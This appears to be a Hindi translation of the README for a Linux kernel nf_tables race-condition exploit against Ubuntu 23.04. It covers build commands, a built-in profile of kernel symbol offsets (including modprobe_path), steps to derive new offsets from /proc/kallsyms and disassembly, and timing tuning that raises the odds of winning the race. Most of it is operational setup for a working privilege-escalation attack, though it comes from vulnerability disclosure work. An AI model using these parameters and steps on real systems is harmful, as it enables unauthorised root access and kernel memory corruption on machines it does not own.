
व्यक्तिगत उपयोग के लिए, PoC लेखक Piotr Krysiuk हैं, उपयोग से पहले कृपया README.md पढ़ें।
नीचे दिए गए निर्देश Ubuntu 23.04 (Lunar Lobster) पर परीक्षण किए गए थे।
बिल्ड निर्भरताएँ स्थापित करने के लिए निम्न कमांड चलाएँ:
sudo apt install gcc libmnl-dev libnftnl-dev
PoC बाइनरी बनाने के लिए निम्न कमांड चलाएँ:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
बिल्ट-इन प्रोफ़ाइल में Ubuntu 23.04 (Lunar Lobster) से निम्नलिखित पैकेजों के रूप में बाइनरी फॉर्म में वितरित Linux कर्नेल के लिए विशिष्ट पैरामीटर हैं:
बिल्ट-इन प्रोफ़ाइल इस प्रकार दिखती है:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
अन्य Linux कर्नेल के साथ परीक्षण करते समय बिल्ट-इन प्रोफ़ाइल को ओवरराइड करने के लिए वैकल्पिक चरण:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
कर्नेल बेस खोजने के लिए हम कर्नेल मेमोरी में nf_tables.ko इमेज की जाँच करते हैं। और विशेष रूप से, हम nft_counter_destroy() सबरूटीन के मशीन कोड का विश्लेषण करते हैं। इसका मतलब है कि हमारी विधि कंपाइलर के साथ-साथ संकलन विकल्पों के प्रति संवेदनशील है। हालाँकि, सामान्य मामलों को बिल्ट-इन प्रोफ़ाइल को ओवरराइड करके संभाला जा सकता है।
उदाहरण के लिए, nft_counter_destroy() सबरूटीन का मशीन कोड इस प्रकार दिख सकता है:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
उपरोक्त मामले में हम कॉन्फ़िगरेशन फ़ाइल "profile" में नीचे दी गई तीन पंक्तियाँ जोड़कर कुछ पैरामीटर निर्दिष्ट कर सकते हैं।
सबसे पहले, हम free_percpu विस्थापन से पहले वाले dword के ऑफसेट को पुनर्परिभाषित करते हैं:
5 nft_counter_destroy_call_offset # hex
जहाँ मान 5 अभिव्यक्ति (1e31d - 1e310) - 8 का उपयोग करके परिकलित किया गया था।
सत्यापन हेतु, हम फिर निम्नलिखित मास्क का उपयोग करके उपरोक्त ऑफसेट पर dword को मान्य करते हैं:
ffffffff nft_counter_destroy_call_mask # hex
निम्नलिखित मान की अपेक्षा करते हुए:
e9087e8b nft_counter_destroy_call_check # hex
भेद्यता का शोषण करने के लिए Linux कर्नेल के बैकग्राउंड वर्कर थ्रेड के साथ रेस जीतना आवश्यक है। बिल्ट-इन प्रोफ़ाइल को मोबाइल Sandy Bridge और डेस्कटॉप Comet Lake सहित Intel माइक्रोप्रोसेसरों की एक विस्तृत श्रृंखला पर उस रेस को जीतने की संभावना को अधिकतम करने के लिए ट्यून किया गया है। हालाँकि, कुछ माइक्रोप्रोसेसरों को अतिरिक्त ट्यूनिंग की आवश्यकता होती है। उदाहरण के लिए, हमने कुछ सेटअपों में Alder Lake के तहत कार्यों को स्विच करने में बढ़ी हुई विलंबता देखी, जहाँ "profile" में निम्नलिखित पंक्ति जोड़ना आवश्यक हो सकता है:
400 race_lead_sleep
हमने अपने परीक्षणों में भेद्यता का सफलतापूर्वक शोषण करने की 80% या उससे बेहतर संभावना मापी, जिसमें निष्क्रिय बेयर-मेटल सिस्टम का उपयोग किया गया था।
एक बार PoC किसी भेद्य सिस्टम पर प्रारंभ हो जाने पर, यह उस सिस्टम को दूषित कर्नेल मेमोरी के साथ अस्थिर स्थिति में छोड़ सकता है। संभावित डेटा भ्रष्टाचार से बचने के लिए हम दृढ़ता से अनुशंसा करते हैं कि PoC का परीक्षण समर्पित सिस्टम पर किया जाए।